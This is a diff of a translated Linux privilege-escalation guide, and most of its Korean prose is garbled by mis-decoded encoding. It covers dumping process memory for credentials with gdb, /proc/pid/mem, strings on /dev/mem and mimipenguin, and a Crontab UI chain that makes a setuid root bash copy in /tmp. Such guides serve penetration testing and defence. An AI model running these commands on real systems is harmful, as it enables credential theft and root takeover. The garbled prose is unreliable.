„์€ ์ˆ˜๋™์œผ๋กœ ํ™•์ธํ•˜๋Š” ๊ฒƒ์ด ๊ถŒ์žฅ๋ฉ๋‹ˆ๋‹ค. ```bash dpkg -l #Debian rpm -qa #Centos ``` -๋งŒ์•ฝ ๋จธ์‹ ์— SSH ์ ‘๊ทผ ๊ถŒํ•œ์ด ์žˆ๋‹ค๋ฉด, ๋จธ์‹ ์— ์„ค์น˜๋œ ์˜ค๋ž˜๋˜์—ˆ๊ฑฐ๋‚˜ ์ทจ์•ฝํ•œ ์†Œํ”„ํŠธ์›จ์–ด๋ฅผ ํ™•์ธํ•˜๊ธฐ ์œ„ํ•ด **openVAS**๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค. +๋งŒ์•ฝ ๋จธ์‹ ์— SSH ์ ‘๊ทผ ๊ถŒํ•œ์ด ์žˆ๋‹ค๋ฉด, ๋จธ์‹  ๋‚ด๋ถ€์— ์„ค์น˜๋œ ๊ตฌํ˜• ๋ฐ ์ทจ์•ฝํ•œ ์†Œํ”„ํŠธ์›จ์–ด๋ฅผ ํ™•์ธํ•˜๊ธฐ ์œ„ํ•ด **openVAS**๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋‹ค. -> [!NOTE] > _์ด ๋ช…๋ น์–ด๋“ค์€ ๋Œ€๋ถ€๋ถ„ ์“ธ๋ชจ์—†๋Š” ์ •๋ณด๊ฐ€ ๋งŽ์ด ์ถœ๋ ฅ๋  ์ˆ˜ ์žˆ์œผ๋ฏ€๋กœ, ์„ค์น˜๋œ ์†Œํ”„ํŠธ์›จ์–ด ๋ฒ„์ „์ด ์•Œ๋ ค์ง„ exploits์— ์ทจ์•ฝํ•œ์ง€ ๊ฒ€์‚ฌํ•ด์ฃผ๋Š” OpenVAS์™€ ๊ฐ™์€ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ์‚ฌ์šฉ์„ ๊ถŒ์žฅํ•ฉ๋‹ˆ๋‹ค_ +> [!NOTE] > _์ด ๋ช…๋ น๋“ค์€ ๋งŽ์€ ์ •๋ณด๋ฅผ ๋ณด์—ฌ์ฃผ์ง€๋งŒ ๋Œ€๋ถ€๋ถ„ ์“ธ๋ชจ์—†์„ ์ˆ˜ ์žˆ์œผ๋ฏ€๋กœ, ์„ค์น˜๋œ ์†Œํ”„ํŠธ์›จ์–ด ๋ฒ„์ „์ด ์•Œ๋ ค์ง„ exploits์— ์ทจ์•ฝํ•œ์ง€ ๊ฒ€์‚ฌํ•ด์ฃผ๋Š” OpenVAS์™€ ๊ฐ™์€ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ์‚ฌ์šฉ์„ ๊ถŒ์žฅํ•œ๋‹ค_ ## ํ”„๋กœ์„ธ์Šค -์–ด๋–ค **ํ”„๋กœ์„ธ์Šค**๊ฐ€ ์‹คํ–‰๋˜๊ณ  ์žˆ๋Š”์ง€ ์‚ดํŽด๋ณด๊ณ , ์–ด๋–ค ํ”„๋กœ์„ธ์Šค๊ฐ€ **ํ•„์š” ์ด์ƒ์œผ๋กœ ๋” ๋งŽ์€ ๊ถŒํ•œ**์œผ๋กœ ์‹คํ–‰๋˜๊ณ  ์žˆ์ง€๋Š” ์•Š์€์ง€ ํ™•์ธํ•˜์„ธ์š” (์˜ˆ: tomcat์ด root๋กœ ์‹คํ–‰๋˜๋Š” ๊ฒฝ์šฐ?) +์‹คํ–‰ ์ค‘์ธ **ํ”„๋กœ์„ธ์Šค๊ฐ€ ๋ฌด์—‡์ธ์ง€** ์‚ดํŽด๋ณด๊ณ , ์–ด๋–ค ํ”„๋กœ์„ธ์Šค๊ฐ€ **์ •์ƒ๋ณด๋‹ค ๋” ๋งŽ์€ ๊ถŒํ•œ์„ ๊ฐ€์ง€๊ณ  ์žˆ๋Š”์ง€** ํ™•์ธํ•˜๋ผ (์˜ˆ: root๋กœ ์‹คํ–‰๋˜๋Š” tomcat?) ```bash ps aux ps -ef top -n 1 ``` -ํ•ญ์ƒ [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas**๋Š” ํ”„๋กœ์„ธ์Šค ๋ช…๋ น์ค„์—์„œ `--inspect` ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ํ™•์ธํ•˜์—ฌ ์ด๋ฅผ ํƒ์ง€ํ•ฉ๋‹ˆ๋‹ค.\ -๋˜ํ•œ **ํ”„๋กœ์„ธ์Šค ๋ฐ”์ด๋„ˆ๋ฆฌ ๊ถŒํ•œ**์„ ํ™•์ธํ•˜์„ธ์š”. ๋ˆ„๊ตฐ๊ฐ€์˜ ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ๋ฎ์–ด์“ธ ์ˆ˜ ์žˆ์„์ง€๋„ ๋ชจ๋ฆ…๋‹ˆ๋‹ค. +Always check for possible [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** detect those by checking the `--inspect` parameter inside the command line of the process.\ +๋˜ํ•œ **ํ”„๋กœ์„ธ์Šค ๋ฐ”์ด๋„ˆ๋ฆฌ์— ๋Œ€ํ•œ ๊ถŒํ•œ์„ ํ™•์ธํ•˜์„ธ์š”**, ๋ˆ„๊ตฐ๊ฐ€์˜ ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ๋ฎ์–ด์“ธ ์ˆ˜ ์žˆ์„์ง€๋„ ๋ชจ๋ฆ…๋‹ˆ๋‹ค. -### ํ”„๋กœ์„ธ์Šค ๋ชจ๋‹ˆํ„ฐ๋ง +### Process monitoring -ํ”„๋กœ์„ธ์Šค๋ฅผ ๋ชจ๋‹ˆํ„ฐ๋งํ•˜๊ธฐ ์œ„ํ•ด [**pspy**](https://github.com/DominicBreuker/pspy)์™€ ๊ฐ™์€ ๋„๊ตฌ๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Š” ์ทจ์•ฝํ•œ ํ”„๋กœ์„ธ์Šค๊ฐ€ ์ž์ฃผ ์‹คํ–‰๋˜๊ฑฐ๋‚˜ ํŠน์ • ์กฐ๊ฑด์ด ์ถฉ์กฑ๋  ๋•Œ ์ด๋ฅผ ์‹๋ณ„ํ•˜๋Š” ๋ฐ ๋งค์šฐ ์œ ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +You can use tools like [**pspy**](https://github.com/DominicBreuker/pspy) to monitor processes. This can be very useful to identify vulnerable processes being executed frequently or when a set of requirements are met. -### ํ”„๋กœ์„ธ์Šค ๋ฉ”๋ชจ๋ฆฌ +### Process memory -์ผ๋ถ€ ์„œ๋ฒ„ ์„œ๋น„์Šค๋Š” **๋ฉ”๋ชจ๋ฆฌ ๋‚ด๋ถ€์— ์ž๊ฒฉ ์ฆ๋ช…(credentials)์„ ํ‰๋ฌธ์œผ๋กœ ์ €์žฅ**ํ•ฉ๋‹ˆ๋‹ค.\ -์ผ๋ฐ˜์ ์œผ๋กœ ๋‹ค๋ฅธ ์‚ฌ์šฉ์ž๊ฐ€ ์†Œ์œ ํ•œ ํ”„๋กœ์„ธ์Šค์˜ ๋ฉ”๋ชจ๋ฆฌ๋ฅผ ์ฝ์œผ๋ ค๋ฉด **root privileges**๊ฐ€ ํ•„์š”ํ•˜๋ฏ€๋กœ, ์ด๋Š” ๋ณดํ†ต ์ด๋ฏธ root์ธ ๊ฒฝ์šฐ ์ถ”๊ฐ€ ์ž๊ฒฉ ์ฆ๋ช…์„ ์ฐพ๋Š” ๋ฐ ๋” ์œ ์šฉํ•ฉ๋‹ˆ๋‹ค.\ -ํ•˜์ง€๋งŒ **์ผ๋ฐ˜ ์‚ฌ์šฉ์ž๋กœ์„œ ์ž์‹ ์ด ์†Œ์œ ํ•œ ํ”„๋กœ์„ธ์Šค์˜ ๋ฉ”๋ชจ๋ฆฌ๋Š” ์ฝ์„ ์ˆ˜ ์žˆ๋‹ค**๋Š” ์ ์„ ๊ธฐ์–ตํ•˜์„ธ์š”. +Some services of a server save **credentials in clear text inside the memory**.\ +Normally you will need **root privileges** to read the memory of processes that belong to other users, therefore this is usually more useful when you are already root and want to discover more credentials.\ +However, remember that **as a regular user you can read the memory of the processes you own**. > [!WARNING] -> ์š”์ฆ˜ ๋Œ€๋ถ€๋ถ„์˜ ๋จธ์‹ ์€ ๊ธฐ๋ณธ์ ์œผ๋กœ **ptrace๋ฅผ ํ—ˆ์šฉํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค**, ์ฆ‰ ๊ถŒํ•œ์ด ์—†๋Š” ์‚ฌ์šฉ์ž๊ฐ€ ์†Œ์œ ํ•œ ๋‹ค๋ฅธ ํ”„๋กœ์„ธ์Šค๋ฅผ ๋คํ”„ํ•  ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค. +> Note that nowadays most machines **don't allow ptrace by default** which means that you cannot dump other processes that belong to your unprivileged user. > -> ํŒŒ์ผ _**/proc/sys/kernel/yama/ptrace_scope**_๋Š” ptrace์˜ ์ ‘๊ทผ์„ฑ์„ ์ œ์–ดํ•ฉ๋‹ˆ๋‹ค: +> The file _**/proc/sys/kernel/yama/ptrace_scope**_ controls the accessibility of ptrace: > -> - **kernel.yama.ptrace_scope = 0**: ๊ฐ™์€ uid๋ฅผ ๊ฐ€์ง€๊ธฐ๋งŒ ํ•˜๋ฉด ๋ชจ๋“  ํ”„๋กœ์„ธ์Šค๋ฅผ ๋””๋ฒ„๊ทธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๊ฒƒ์ด ptracing์ด ์ž‘๋™ํ•˜๋˜ ์ „ํ†ต์ ์ธ ๋ฐฉ์‹์ž…๋‹ˆ๋‹ค. -> - **kernel.yama.ptrace_scope = 1**: ๋ถ€๋ชจ ํ”„๋กœ์„ธ์Šค๋งŒ ๋””๋ฒ„๊ทธ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. -> - **kernel.yama.ptrace_scope = 2**: ๊ด€๋ฆฌ์ž๋งŒ ptrace๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์ด๋Š” CAP_SYS_PTRACE ๊ถŒํ•œ์ด ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค. -> - **kernel.yama.ptrace_scope = 3**: ์–ด๋–ค ํ”„๋กœ์„ธ์Šค๋„ ptrace๋กœ ์ถ”์ ๋  ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค. ์ด ๊ฐ’์œผ๋กœ ์„ค์ •๋˜๋ฉด ptracing์„ ๋‹ค์‹œ ํ™œ์„ฑํ™”ํ•˜๋ ค๋ฉด ์žฌ๋ถ€ํŒ…์ด ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค. +> - **kernel.yama.ptrace_scope = 0**: ๋™์ผํ•œ uid์ธ ํ•œ ๋ชจ๋“  ํ”„๋กœ์„ธ์Šค๋ฅผ ๋””๋ฒ„๊ทธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Š” ptrace๊ฐ€ ์ „ํ†ต์ ์œผ๋กœ ๋™์ž‘ํ•˜๋˜ ๋ฐฉ์‹์ž…๋‹ˆ๋‹ค. +> - **kernel.yama.ptrace_scope = 1**: ๋ถ€๋ชจ ํ”„๋กœ์„ธ์Šค๋งŒ ๋””๋ฒ„๊ทธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +> - **kernel.yama.ptrace_scope = 2**: ๊ด€๋ฆฌ์ž๋งŒ ptrace๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, CAP_SYS_PTRACE ๊ถŒํ•œ์ด ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค. +> - **kernel.yama.ptrace_scope = 3**: ์–ด๋–ค ํ”„๋กœ์„ธ์Šค๋„ ptrace๋กœ ์ถ”์ ํ•  ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค. ์ผ๋‹จ ์„ค์ •๋˜๋ฉด ptracing์„ ๋‹ค์‹œ ํ™œ์„ฑํ™”ํ•˜๋ ค๋ฉด ์žฌ๋ถ€ํŒ…์ด ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค. #### GDB -์˜ˆ๋ฅผ ๋“ค์–ด FTP ์„œ๋น„์Šค์˜ ๋ฉ”๋ชจ๋ฆฌ์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด Heap์„ ์–ป์–ด ๊ทธ ์•ˆ์˜ ์ž๊ฒฉ ์ฆ๋ช…์„ ๊ฒ€์ƒ‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +If you have access to the memory of an FTP service (for example) you could get the Heap and search inside of its credentials. ```bash gdb -p (gdb) info proc mappings @@ -215,7 +215,7 @@ done ``` #### /proc/$pid/maps & /proc/$pid/mem -์ฃผ์–ด์ง„ ํ”„๋กœ์„ธ์Šค ID์— ๋Œ€ํ•ด, **maps๋Š” ํ•ด๋‹น ํ”„๋กœ์„ธ์Šค์˜ ๊ฐ€์ƒ ์ฃผ์†Œ ๊ณต๊ฐ„ ๋‚ด์—์„œ ๋ฉ”๋ชจ๋ฆฌ๊ฐ€ ์–ด๋–ป๊ฒŒ ๋งคํ•‘๋˜๋Š”์ง€๋ฅผ ๋ณด์—ฌ์ฃผ๋ฉฐ**; ๋˜ํ•œ **๊ฐ ๋งคํ•‘๋œ ์˜์—ญ์˜ permissions**๋ฅผ ํ‘œ์‹œํ•ฉ๋‹ˆ๋‹ค. **mem** ๊ฐ€์ƒ ํŒŒ์ผ์€ **ํ”„๋กœ์„ธ์Šค์˜ ๋ฉ”๋ชจ๋ฆฌ ์ž์ฒด๋ฅผ ๋…ธ์ถœํ•ฉ๋‹ˆ๋‹ค**. **maps** ํŒŒ์ผ์—์„œ ์–ด๋–ค **๋ฉ”๋ชจ๋ฆฌ ์˜์—ญ์ด ์ฝ์„ ์ˆ˜ ์žˆ๋Š”์ง€**์™€ ๊ทธ ์˜คํ”„์…‹์„ ์•Œ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ์ •๋ณด๋ฅผ ์‚ฌ์šฉํ•ด **mem ํŒŒ์ผ์„ seekํ•˜์—ฌ ๋ชจ๋“  ์ฝ์„ ์ˆ˜ ์žˆ๋Š” ์˜์—ญ์„ dump**ํ•˜๊ณ  ํŒŒ์ผ๋กœ ์ €์žฅํ•ฉ๋‹ˆ๋‹ค. +์ฃผ์–ด์ง„ ํ”„๋กœ์„ธ์Šค ID์— ๋Œ€ํ•ด, **maps๋Š” ํ•ด๋‹น ํ”„๋กœ์„ธ์Šค์˜ ๊ฐ€์ƒ ์ฃผ์†Œ ๊ณต๊ฐ„ ๋‚ด์—์„œ ๋ฉ”๋ชจ๋ฆฌ๊ฐ€ ์–ด๋–ป๊ฒŒ ๋งคํ•‘๋˜์–ด ์žˆ๋Š”์ง€๋ฅผ ๋ณด์—ฌ์ฃผ๋ฉฐ**; ๋˜ํ•œ **๊ฐ ๋งคํ•‘๋œ ์˜์—ญ์˜ ๊ถŒํ•œ์„ ๋ณด์—ฌ์ค๋‹ˆ๋‹ค**. ๊ฐ€์ƒ ํŒŒ์ผ์ธ **mem**๋Š” **ํ”„๋กœ์„ธ์Šค์˜ ๋ฉ”๋ชจ๋ฆฌ ์ž์ฒด๋ฅผ ๋…ธ์ถœํ•ฉ๋‹ˆ๋‹ค**. **maps** ํŒŒ์ผ์—์„œ ์–ด๋–ค **๋ฉ”๋ชจ๋ฆฌ ์˜์—ญ์ด ์ฝ๊ธฐ ๊ฐ€๋Šฅํ•œ์ง€**์™€ ๊ทธ ์˜คํ”„์…‹์„ ์•Œ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ์ •๋ณด๋ฅผ ์‚ฌ์šฉํ•ด **mem ํŒŒ์ผ์„ ์‹œํฌ(seek)ํ•˜์—ฌ ๋ชจ๋“  ์ฝ๊ธฐ ๊ฐ€๋Šฅํ•œ ์˜์—ญ์„ ๋คํ”„**ํ•ด ํŒŒ์ผ๋กœ ์ €์žฅํ•ฉ๋‹ˆ๋‹ค. ```bash procdump() ( @@ -230,14 +230,14 @@ rm $1*.bin ``` #### /dev/mem -`/dev/mem`์€ ์‹œ์Šคํ…œ์˜ **๋ฌผ๋ฆฌ์ ** ๋ฉ”๋ชจ๋ฆฌ์— ๋Œ€ํ•œ ์ ‘๊ทผ์„ ์ œ๊ณตํ•˜๋ฉฐ, ๊ฐ€์ƒ ๋ฉ”๋ชจ๋ฆฌ๋Š” ์•„๋‹™๋‹ˆ๋‹ค. ์ปค๋„์˜ ๊ฐ€์ƒ ์ฃผ์†Œ ๊ณต๊ฐ„์€ /dev/kmem์„ ์‚ฌ์šฉํ•˜์—ฌ ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.\ -์ผ๋ฐ˜์ ์œผ๋กœ, `/dev/mem`์€ **root**์™€ **kmem** ๊ทธ๋ฃน๋งŒ ์ฝ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +`/dev/mem`๋Š” ์‹œ์Šคํ…œ์˜ **๋ฌผ๋ฆฌ์ ** ๋ฉ”๋ชจ๋ฆฌ์— ๋Œ€ํ•œ ์ ‘๊ทผ์„ ์ œ๊ณตํ•˜๋ฉฐ, ๊ฐ€์ƒ ๋ฉ”๋ชจ๋ฆฌ๊ฐ€ ์•„๋‹ˆ๋‹ค. ์ปค๋„์˜ ๊ฐ€์ƒ ์ฃผ์†Œ ๊ณต๊ฐ„์—๋Š” /dev/kmem์„ ์‚ฌ์šฉํ•˜์—ฌ ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋‹ค.\ +์ผ๋ฐ˜์ ์œผ๋กœ, `/dev/mem`์€ **root** ๋ฐ **kmem** ๊ทธ๋ฃน๋งŒ ์ฝ์„ ์ˆ˜ ์žˆ๋‹ค. ``` strings /dev/mem -n10 | grep -i PASS ``` -### ProcDump for linux +### linux์šฉ ProcDump -ProcDump๋Š” Windows์šฉ Sysinternals ๋„๊ตฌ ๋ชจ์Œ์˜ ๊ณ ์ „์ ์ธ ProcDump ๋„๊ตฌ๋ฅผ Linux์šฉ์œผ๋กœ ์žฌ๊ตฌ์„ฑํ•œ ๊ฒƒ์ž…๋‹ˆ๋‹ค. ๋‹ค์Œ์—์„œ ํ™•์ธํ•˜์„ธ์š”: [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) +ProcDump๋Š” Windows์šฉ Sysinternals ๋„๊ตฌ ๋ชจ์Œ์— ์žˆ๋Š” ๊ณ ์ „์ ์ธ ProcDump ๋„๊ตฌ๋ฅผ Linux์šฉ์œผ๋กœ ์žฌ๊ตฌํ˜„ํ•œ ๊ฒƒ์ž…๋‹ˆ๋‹ค. ๋‹ค์Œ์—์„œ ๋‹ค์šด๋กœ๋“œํ•˜์„ธ์š”: [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) ``` procdump -p 1714 @@ -270,27 +270,27 @@ Press Ctrl-C to end monitoring without terminating the process. - [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux) - [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_์ˆ˜๋™์œผ๋กœ root ์š”๊ตฌ์‚ฌํ•ญ์„ ์ œ๊ฑฐํ•˜๊ณ  ์ž์‹ ์ด ์†Œ์œ ํ•œ ํ”„๋กœ์„ธ์Šค๋ฅผ ๋คํ”„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค -- Script A.5 from [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (root๊ฐ€ ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค) +- Script A.5 from [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (root ํ•„์š”ํ•จ) ### ํ”„๋กœ์„ธ์Šค ๋ฉ”๋ชจ๋ฆฌ์—์„œ ์ž๊ฒฉ ์ฆ๋ช… #### ์ˆ˜๋™ ์˜ˆ์‹œ -authenticator ํ”„๋กœ์„ธ์Šค๊ฐ€ ์‹คํ–‰ ์ค‘์ธ ๊ฒƒ์„ ๋ฐœ๊ฒฌํ•˜๋ฉด: +authenticator ํ”„๋กœ์„ธ์Šค๊ฐ€ ์‹คํ–‰ ์ค‘์ด๋ฉด: ```bash ps -ef | grep "authenticator" root 2027 2025 0 11:46 ? 00:00:00 authenticator ``` -ํ”„๋กœ์„ธ์Šค๋ฅผ dumpํ•  ์ˆ˜ ์žˆ๊ณ (ํ”„๋กœ์„ธ์Šค์˜ memory๋ฅผ dumpํ•˜๋Š” ๋‹ค์–‘ํ•œ ๋ฐฉ๋ฒ•์€ ์•ž ์„น์…˜์„ ์ฐธ์กฐํ•˜์„ธ์š”) ๋ฉ”๋ชจ๋ฆฌ ๋‚ด์—์„œ credentials๋ฅผ ๊ฒ€์ƒ‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: +ํ”„๋กœ์„ธ์Šค์˜ ๋ฉ”๋ชจ๋ฆฌ๋ฅผ ๋คํ”„ํ•  ์ˆ˜ ์žˆ๊ณ (์•ž ์„น์…˜์„ ์ฐธ์กฐํ•˜์—ฌ ํ”„๋กœ์„ธ์Šค์˜ ๋ฉ”๋ชจ๋ฆฌ๋ฅผ ๋คํ”„ํ•˜๋Š” ๋‹ค์–‘ํ•œ ๋ฐฉ๋ฒ•์„ ํ™•์ธํ•˜์„ธ์š”) ๋ฉ”๋ชจ๋ฆฌ์—์„œ ์ž๊ฒฉ ์ฆ๋ช…์„ ๊ฒ€์ƒ‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: ```bash ./dump-memory.sh 2027 strings *.dump | grep -i password ``` #### mimipenguin -์ด ๋„๊ตฌ [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin)๋Š” ๋ฉ”๋ชจ๋ฆฌ์™€ ์ผ๋ถ€ **well known files**์—์„œ **clear text credentials**๋ฅผ ํ›”์นฉ๋‹ˆ๋‹ค. ์ •์ƒ์ ์œผ๋กœ ์ž‘๋™ํ•˜๋ ค๋ฉด root ๊ถŒํ•œ์ด ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค. +์ด ๋„๊ตฌ [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin)๋Š” **๋ฉ”๋ชจ๋ฆฌ์—์„œ ํ‰๋ฌธ ์ž๊ฒฉ ์ฆ๋ช…**๊ณผ ์ผ๋ถ€ **์ž˜ ์•Œ๋ ค์ง„ ํŒŒ์ผ๋“ค**์—์„œ ํƒˆ์ทจํ•ฉ๋‹ˆ๋‹ค. ์ •์ƒ์ ์œผ๋กœ ์ž‘๋™ํ•˜๋ ค๋ฉด root ๊ถŒํ•œ์ด ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค. -| Feature | Process Name | +| ๊ธฐ๋Šฅ | ํ”„๋กœ์„ธ์Šค ์ด๋ฆ„ | | ------------------------------------------------- | -------------------- | | GDM password (Kali Desktop, Debian Desktop) | gdm-password | | Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon | @@ -315,16 +315,16 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1... ``` ## ์˜ˆ์•ฝ๋œ/Cron ์ž‘์—… -### Crontab UI (alseambusher)๊ฐ€ root๋กœ ์‹คํ–‰๋˜๋Š” ๊ฒฝ์šฐ โ€“ ์›น ๊ธฐ๋ฐ˜ ์Šค์ผ€์ค„๋Ÿฌ privesc +### Crontab UI (alseambusher)์ด root๋กœ ์‹คํ–‰๋˜๋Š” ๊ฒฝ์šฐ โ€“ ์›น ๊ธฐ๋ฐ˜ ์Šค์ผ€์ค„๋Ÿฌ privesc -์›น โ€œCrontab UIโ€ ํŒจ๋„(alseambusher/crontab-ui)์ด root๋กœ ์‹คํ–‰๋˜๊ณ  loopback์—๋งŒ ๋ฐ”์ธ๋”ฉ๋˜์–ด ์žˆ์–ด๋„, SSH local port-forwarding์„ ํ†ตํ•ด ์ ‘๊ทผํ•ด ๊ถŒํ•œ ์ƒ์Šน์„ ์œ„ํ•œ privileged job์„ ์ƒ์„ฑํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +์›น "Crontab UI" ํŒจ๋„(alseambusher/crontab-ui)์ด root๋กœ ์‹คํ–‰๋˜๊ณ  loopback์—๋งŒ ๋ฐ”์ธ๋”ฉ๋˜์–ด ์žˆ๋‹ค๋ฉด, SSH ๋กœ์ปฌ ํฌํŠธ ํฌ์›Œ๋”ฉ์„ ํ†ตํ•ด ์—ฌ์ „ํžˆ ์ ‘๊ทผํ•˜์—ฌ privileged job์„ ์ƒ์„ฑํ•ด privescํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. -์ผ๋ฐ˜์ ์ธ ํ๋ฆ„ -- ๋ฃจํ”„๋ฐฑ ์ „์šฉ ํฌํŠธ(์˜ˆ: 127.0.0.1:8000)์™€ Basic-Auth realm์„ `ss -ntlp` / `curl -v localhost:8000`๋กœ ์ฐพ์Œ -- ์šด์˜ ์•„ํ‹ฐํŒฉํŠธ์—์„œ ์ž๊ฒฉ ์ฆ๋ช… ์ฐพ๊ธฐ: - - ๋ฐฑ์—…/์Šคํฌ๋ฆฝํŠธ์—์„œ (`zip -P `) - - systemd ์œ ๋‹›์—์„œ ๋…ธ์ถœ๋œ `Environment="BASIC_AUTH_USER=..."`, `Environment="BASIC_AUTH_PWD=..."` -- ํ„ฐ๋„๋ง ํ›„ ๋กœ๊ทธ์ธ: +Typical chain +- loopback ์ „์šฉ ํฌํŠธ(์˜ˆ: 127.0.0.1:8000)์™€ Basic-Auth realm์„ `ss -ntlp` / `curl -v localhost:8000`๋กœ ํ™•์ธ +- ์šด์˜ ์•„ํ‹ฐํŒฉํŠธ์—์„œ ์ž๊ฒฉ์ฆ๋ช… ์ฐพ๊ธฐ: +- ๋ฐฑ์—…/์Šคํฌ๋ฆฝํŠธ์—์„œ `zip -P ` +- systemd unit์— ๋…ธ์ถœ๋œ `Environment="BASIC_AUTH_USER=..."`, `Environment="BASIC_AUTH_PWD=..."` +- ํ„ฐ๋„๋งํ•˜๊ณ  ๋กœ๊ทธ์ธ: ```bash ssh -L 9001:localhost:8000 user@target # browse http://localhost:9001 and authenticate @@ -335,44 +335,46 @@ ssh -L 9001:localhost:8000 user@target # Command: cp /bin/bash /tmp/rootshell && chmod 6777 /tmp/rootshell ``` -- ์‚ฌ์šฉํ•˜์„ธ์š”: +- ์‚ฌ์šฉํ•˜๊ธฐ: ```bash /tmp/rootshell -p # root shell ``` -๋ณด์•ˆ ๊ฐ•ํ™” +ํ•˜๋“œ๋‹ - Crontab UI๋ฅผ root๋กœ ์‹คํ–‰ํ•˜์ง€ ๋งˆ์„ธ์š”; ์ „์šฉ ์‚ฌ์šฉ์ž์™€ ์ตœ์†Œ ๊ถŒํ•œ์œผ๋กœ ์ œํ•œํ•˜์„ธ์š” -- localhost์— ๋ฐ”์ธ๋”ฉํ•˜๊ณ  ์ถ”๊ฐ€๋กœ firewall/VPN์œผ๋กœ ์ ‘๊ทผ์„ ์ œํ•œํ•˜์„ธ์š”; ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์žฌ์‚ฌ์šฉํ•˜์ง€ ๋งˆ์„ธ์š” -- unit files์— secrets๋ฅผ ํฌํ•จํ•˜์ง€ ๋งˆ์„ธ์š”; secret stores ๋˜๋Š” root-only EnvironmentFile์„ ์‚ฌ์šฉํ•˜์„ธ์š” -- on-demand job executions์— ๋Œ€ํ•œ audit/logging์„ ํ™œ์„ฑํ™”ํ•˜์„ธ์š” +- localhost์— ๋ฐ”์ธ๋”ฉํ•˜๊ณ  ์ถ”๊ฐ€๋กœ firewall/VPN์„ ํ†ตํ•ด ์ ‘๊ทผ์„ ์ œํ•œํ•˜์„ธ์š”; ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์žฌ์‚ฌ์šฉํ•˜์ง€ ๋งˆ์„ธ์š” +- unit files์— ๋น„๋ฐ€์„ ํฌํ•จํ•˜์ง€ ๋งˆ์„ธ์š”; secret stores๋‚˜ root ์ „์šฉ EnvironmentFile์„ ์‚ฌ์šฉํ•˜์„ธ์š” +- ์˜จ๋””๋งจ๋“œ ์ž‘์—… ์‹คํ–‰์— ๋Œ€ํ•ด audit/logging์„ ํ™œ์„ฑํ™”ํ•˜์„ธ์š” -์˜ˆ์•ฝ๋œ ์ž‘์—…(scheduled job)์ด ์ทจ์•ฝํ•œ์ง€ ํ™•์ธํ•˜์„ธ์š”. ๋ฃจํŠธ(root)์— ์˜ํ•ด ์‹คํ–‰๋˜๋Š” ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์•…์šฉํ•  ์ˆ˜ ์žˆ์„์ง€๋„ ๋ชจ๋ฆ…๋‹ˆ๋‹ค (wildcard vuln? root๊ฐ€ ์‚ฌ์šฉํ•˜๋Š” ํŒŒ์ผ์„ ์ˆ˜์ •ํ•  ์ˆ˜ ์žˆ๋‚˜? symlinks ์‚ฌ์šฉ? root๊ฐ€ ์‚ฌ์šฉํ•˜๋Š” ๋””๋ ‰ํ„ฐ๋ฆฌ์— ํŠน์ 